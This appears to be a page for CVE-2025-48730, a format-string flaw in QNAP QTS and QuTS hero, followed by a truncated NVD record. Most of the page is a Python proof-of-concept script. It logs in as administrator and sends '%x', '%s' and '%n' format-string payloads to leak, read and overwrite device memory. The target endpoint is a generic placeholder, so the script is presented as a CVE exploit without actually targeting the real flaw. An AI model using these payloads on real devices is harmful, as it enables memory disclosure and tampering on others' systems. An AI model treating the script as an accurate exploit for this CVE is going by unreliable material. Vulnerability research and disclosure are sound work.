CVE-2025-48730

# CVE-2025-48730 - QNAP Format String Vulnerability PoC # This PoC demonstrates the concept of exploiting an externally-controlled format string vulnerability. # Note: Attacker must already have administrator credentials to trigger this vulnerability. import requests TARGET_URL = "https://<qnap-nas-ip>:<port>" ADMIN_USER = "admin" ADMIN_PASS = "password" # Step 1: Authenticate as administrator session = requests.Session() login_payload = { "username": ADMIN_USER, "password": ADMIN_PASS } session.post(f"{TARGET_URL}/cgi-bin/authLogin.cgi", data=login_payload) # Step 2: Inject format string specifiers into a vulnerable parameter # The vulnerable endpoint passes user-controlled input directly to a printf-family function vulnerable_params = { "input": "%x.%x.%x.%x.%x.%x.%x.%x" # Leak stack memory contents } response = session.post(f"{TARGET_URL}/cgi-bin/vulnerable_endpoint.cgi", data=vulnerable_params) # Step 3: Analyze the response for leaked memory data print("[*] Leaked stack data:") print(response.text) # Step 4: Attempt to read specific memory address using %s # This can leak secrets such as encryption keys or session tokens read_payload = { "input": "%s%s%s%s%s%s%s%s%s%s" # Attempt to read string data from stack } response = session.post(f"{TARGET_URL}/cgi-bin/vulnerable_endpoint.cgi", data=read_payload) print("[*] Attempted memory read:") print(response.text) # Step 5: Use %n to write to memory (advanced exploitation) # This can overwrite critical variables or function pointers write_payload = { "input": "AAAA%8x%8x%8x%8x%n" # Write controlled value to memory } response = session.post(f"{TARGET_URL}/cgi-bin/vulnerable_endpoint.cgi", data=write_payload) print("[*] Memory write attempt completed")

{"cve": {"id": "CVE-2025-48730", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:45.180", "lastModified": "2025-10-08T19:53:41.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use of externally-controlled format string vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to obtain secret data or modify memory.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.6.3195 build 20250715 and later\nQuTS hero h5.2.6.3195 build 20250715 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-134"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:*", "matchCriteriaId": "F4026A4B-7AB4-48EA-971D-88DFDD3F01A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:*", "matchCriteriaId": "1F3F99BB-0D68-4D74-92C8-59E24F96C50D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:*", "matchCriteriaId": "1DE63B4D-8E84-41D3-B1F3-04AE6040242B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:*", "matchCriteriaId": "75746563-C648-4E55-9126-703F915F8B8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:*", "matchCriteriaId": "AF6BA027-A635-4E90-80C8-130B10AB3D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2851:build_20240808:*:*:*:*:*:*", "matchCriteriaId": "5406F242-A215-4B07-809F-7A7CE55ACE71"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2860:build_20240817:*:*:*:*:*:*", "matchCriteriaId": "FA17778E-B3B1-44DD-B4E9-5AD25A3E804C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.1.2930:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "E3FC6646-2247-4ED9-9643-CD376674E2E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.2.2950:build_20241114:*:*:*:*:*:*", "matchCriteriaId": "62170342-067D-442C-88FB-64A4BEA8AFE4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.3.3006:build_20250108:*:*:*:*:*:*", "matchCriteriaId": "82464467-E1E6-47E1-BDE5-DDFA52994A47"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3070:build_20250312:*:*:*:*:*:*", "matchCriteriaId": "75AE902C-0516-4341-9BF0-21D8803E091C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3079:build_20250321:*:*:*:*:*:*", "matchCriteriaId": "5B005D70-8C91-48D4-B09A-9EBE2E9E5090"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3092:build_20250403:*:*:*:*:*:*", "matchCriteriaId": "82FE5F89-A0E1-4D1B-A363-0A0D4141F502"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.5.3145:build_20250526:*: ... (truncated)